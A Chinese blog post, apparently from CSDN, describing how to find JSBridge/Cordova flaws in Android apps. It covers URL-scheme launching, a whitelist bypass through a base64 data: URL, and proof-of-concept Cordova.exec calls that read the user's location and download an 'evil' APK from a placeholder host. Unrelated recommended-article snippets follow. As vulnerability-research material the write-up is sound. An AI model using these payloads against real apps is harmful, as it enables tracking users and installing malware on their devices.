android JSBridge 漏洞挖掘_adnroid jsbridge 不安全的资源引用-程序员宅基地

一、概述

1. JSBridge介绍

什么是JSBridge主要是给 JavaScript 提供调用 Native 功能的接口,让混合开发中的前端部分可以方便地使用 Native 的功能(例如:地址位置、摄像头)。

而且 JSBridge 的功能不止调用 Native 功能这么简单宽泛。实际上,JSBridge 就像其名称中的Bridge的意义一样,是 Native 和非 Native 之间的桥梁,它的核心是构建 Native 和非 Native 间消息通信的通道,而且这个通信的通道是双向的。

双向通信的通道:

JS 向 Native 发送消息: 调用相关功能、通知 Native 当前 JS 的相关状态等。

Native 向 JS 发送消息: 回溯调用结果、消息推送、通知 JS 当前 Native 的状态等。

2. Cordova框架

什么是Cordova?

Apache Cordova是一个开源的移动开发框架。允许你用标准的web技术-HTML5,CSS3和JavaScript做跨平台开发。 应用在每个平台的具体执行被封装了起来,并依靠符合标准的API绑定去访问每个设备的功能,比如说:传感器、数据、网络状态等。

使用Apache Cordova的人群:

  • 移动应用开发者,想扩展一个应用的使用平台,而不通过每个平台的语言和工具集重新实现。
  • web开发者,想包装部署自己的web App将其分发到各个应用商店门户。

移动应用开发者,有兴趣混合原生应用组建和一个_WebView(一个特别的浏览器窗口) 可以接触设备A级PI,或者你想开发一个原生和WebView组件之间的插件接口。

3. 应用场景

例如微信的小程序就提供了一个简单、高效的应用开发框架和丰富的组件及API,帮助开发者在微信中开发具有原生 APP 体验的服务; https://developers.weixin.qq.com/miniprogram/dev/api/

二、漏洞挖掘

通过上面的基础知识科普,相信大家对JSBridge的大致原理已经有来初步对了解,我们可以通过JavaScript代码来调用app内部的native功能,h5页面中实现混合开发既能灵活的编写前端代码,又能流畅的使用到系统或app提供的原生能力,当然这种便捷的调用方式之下必然会存在安全风险,接下来与大家分享一下漏洞挖掘的思路;

1. 攻击步骤

  • 通过scheme打开app
  • 在app内打开h5页面
  • 执行恶意JavaScript代码

2. 挖掘思路

1. 通过jadx反编译apk文件,获得伪Java代码,建议直接导出保存在android studio中,方便代码搜索和分析;

2. 通过在AndroidMainfest.xml 直接搜索scheme,找到对于activity并跟踪代码调用构造URL;

2.1 寻找URL scheme

Android上常用的是通过scheme协议的方式唤醒本地app客户端。即App在AndroidManifest.xml中为要打开的Activity注册一个intent-filter,添加scheme,并注明host和data等关键字段,前端保持一致后就可以实现在Web页中调起本地App了。

直接访问 evil://test

<intent-filter>
  <action android:name="android.intent.action.VIEW"/>
  <category android:name="android.intent.category.DEFAULT"/>
  <category android:name="android.intent.category.BROWSABLE"/>
  <data android:host="test" android:scheme="evil"/>
</intent-filter>

2.2 寻找JSBridge

当我们找到一个能够打开任意页面的scheme之后,它不止能够用来进行钓鱼也能够利用它发现更深层次的安全问题; 可以理解为我们已经可以控制一个浏览器能够打开哪些页面了? 接下来的思路应该和搞浏览器安全的类似了, 我们需要找到一个特权的api 然后利用它来进行攻击, 能做的事情非常多;

三、实战挖掘

  • 类型:android app
  • 攻击方式:当用户点击恶意链接,将自动唤起vapp , 自动调用客户端APP内方法,攻击者可通过构造JS代码,发起远程攻击;
  • 漏洞影响: 安装恶意软件、 获取用户位置、调用客户端内任意的方法等等

1. scheme

1. APP有严格的白名单校验,第三方URL虽然能通过scheme打开URL, 但是只限于白名单内, 导致无法打开外部URL

2. 白名单绕过: webview 的loadURL方法是支持,data: 协议头的, 允许通过远程加载js 我们可以通过base64方式打开

3. 此时我们已经获得了一个“xss” ,它可以帮助我们在app内部打开并加载一段js代码

xxxxx://Webview?url=data:text/html;base64,

2.特权api

如果只是可以加载js弹一个框,并不能造成严重的影响,因此本人继续分析客户端代码, 发现其客户端内存在大量的特权api;

通过分析客户端代码发现其使用的是Cordova框架,这是一个app和JS交互的hybride框架,深入分析其实现原理后发现可以调用客户端任意暴露的插件,而没有进行任何权限的校验;我们通过构造poc即可进行调用

例如获取用户位置信息

function getLocation(){
Cordova.exec(function success(res){
alert(JSON.stringify(res))
console.log(res);
}, function fail(res){
console.log(res);
}, "xx", "getLocation", []);
}

下载远程恶意app文件

function apkDownload(){
Cordova.exec(function success(res){
console.log(res);
}, function fail(res){
console.log(res);
}, "xxx", "apkDownload", [{url:"https://xx.com/a.apk",title:"download evil app",desc:"hhhhhhaaaaa"}]);
}

知识星球

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_40418457/article/details/116460098

智能推荐

(最新最详细)安装ubuntu18.04-程序员宅基地

文章浏览阅读2w次,点赞4次,收藏91次。目录1. window10中下载ubuntu镜像2. 制作U盘启动盘3. Ubuntu 分配硬盘空间1. window10中下载ubuntu镜像下载地址2. 制作U盘启动盘安装制作工具:UltraISO(点我下载),下载完成后安装插入用来做启动盘的U盘(最好是usb3.0接口,16GB或以上),并清空里面的文件打开安装好的UltraISO,点击继续试用按钮工作界面进入工作界面后,点击菜单栏文件(F),在弹出的选项卡里点击打开在弹出的文件选择对话框中找到下载好的 Ubuntu18.04._ubuntu18.04

Toad报“No valid Oracle Client found”错-程序员宅基地

文章浏览阅读203次。2019独角兽企业重金招聘Python工程师标准>>> ..._toad no valid oracle client

MySQL数据库入侵及防御方法-程序员宅基地

文章浏览阅读521次。来自:http://blog.51cto.com/simeon/1981572作者介绍陈小兵,高级工程师,具有丰富的信息系统项目经验及18年以上网络安全经验,现主要从事网络安全及数据库技术研究工作。《黑客攻防及实战案例解析》《Web渗透及实战案例解析》《安全之路-Web渗透及实战案例解析第二版》《黑客攻防实战加密与解密》《网络攻防实战研究:漏洞利用与提权》作者,在国内多本学术期..._mysql 5.0.16入侵

SQL Server SSMS历史版本下载地址-程序员宅基地

文章浏览阅读135次。https://learn.microsoft.com/zh-cn/sql/ssms/release-notes-ssms?view=sql-server-ver16#previous-ssms-releases_sql server历史版本哪儿下

【狂神JAVA】MyBatis笔记_jdk1.7的mybatis-程序员宅基地

文章浏览阅读2.5k次。简介自学的【狂神JAVA】MyBatis分享自写源码和笔记,希望对大家有帮助本人配置jdk13.0.2 (jdk1.7以上均可)Maven 3.6.3MySQL 5.7.23 (mysql5.6以上均可)1. 配置官网文档: https://mybatis.org/mybatis-3/zh/getting-started.htmlpom.xml<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://_jdk1.7的mybatis

学习笔记---分布式调度之xxlJob调度中心的启动源码解析_xxl 调度失败:执行器地址为空-程序员宅基地

文章浏览阅读913次。调度中心的代码启动源码是从:XxlJobAdminConfig 入口;直接进入: xxlJobScheduler.init();第一个: initI18n() 处理国际化;第二个:JobRegistryMonitorHelper.getInstance().start(); 创建启动后台线程来维护在线的执行器组下的机器列表,从上篇学习笔记—分布式调度之xxlJob执行器的启动源码解析可以..._xxl 调度失败:执行器地址为空

随便推点

Studio 3T for MongoDB 激活破解脚本_studio 3tjihuoma-程序员宅基地

文章浏览阅读1.9w次,点赞2次,收藏27次。Studio 3T试用期过了不能使用,网上未搜索到相对应的激活码,可以选择重置使用时间继续使用。_studio 3tjihuoma

数据结构实验5《基于哈夫曼树的数据压缩》_基于哈夫曼树的数据压缩算法c语言-程序员宅基地

文章浏览阅读2k次,点赞4次,收藏25次。(visual studio 2019可运行)输入及输出要求见《数据结构C语言(第二版)》严蔚敏版【本文仅用于啥都看不懂还想交作业选手】#include<iostream>#include<map>#include<string>#include<stdio.h>#include<memory.h>using namespace std;typedef struct{ char c; int weight; in_基于哈夫曼树的数据压缩算法c语言

Teams Bot App 代码解析_adaptivecards.declare<datainterface>(rawlearncard)-程序员宅基地

文章浏览阅读1w次。Teams Bot App 代码解析_adaptivecards.declare(rawlearncard).render(this.likecountobj)

Unity UGUI(三)RawImage(原始图像)_unity原始图像-程序员宅基地

文章浏览阅读2.5k次。RawImage(Script)Texture 纹理 要显示的图片,注意:图片类型可以是任何类型 Color 颜色 图片的主颜色 Material 材质 渲染材质 Raycast Target 光线投射目标 是否可接收射线碰撞事件检测 UV Rect UV矩形 显示效果:X、Y属性用于控制纹理左右..._unity原始图像

SpringBoot与分布式事务组件-程序员宅基地

文章浏览阅读2k次。随着互联网应用的复杂性增加,越来越多的公司选择使用微服务架构模式进行应用开发,将单体应用拆分成多个小型服务,每个服务部署在不同的服务器上。同时,为了提升系统的可用性、容错性和可扩展性,需要考虑分布式事务问题。本文将介绍 Spring Boot 在分布式事务中的一些实现方案,并给出相关原理。

小程序基础入门(黑马学习笔记)_黑马微信小程序笔记-程序员宅基地

文章浏览阅读2.8k次,点赞12次,收藏90次。权当学习笔记吧_黑马微信小程序笔记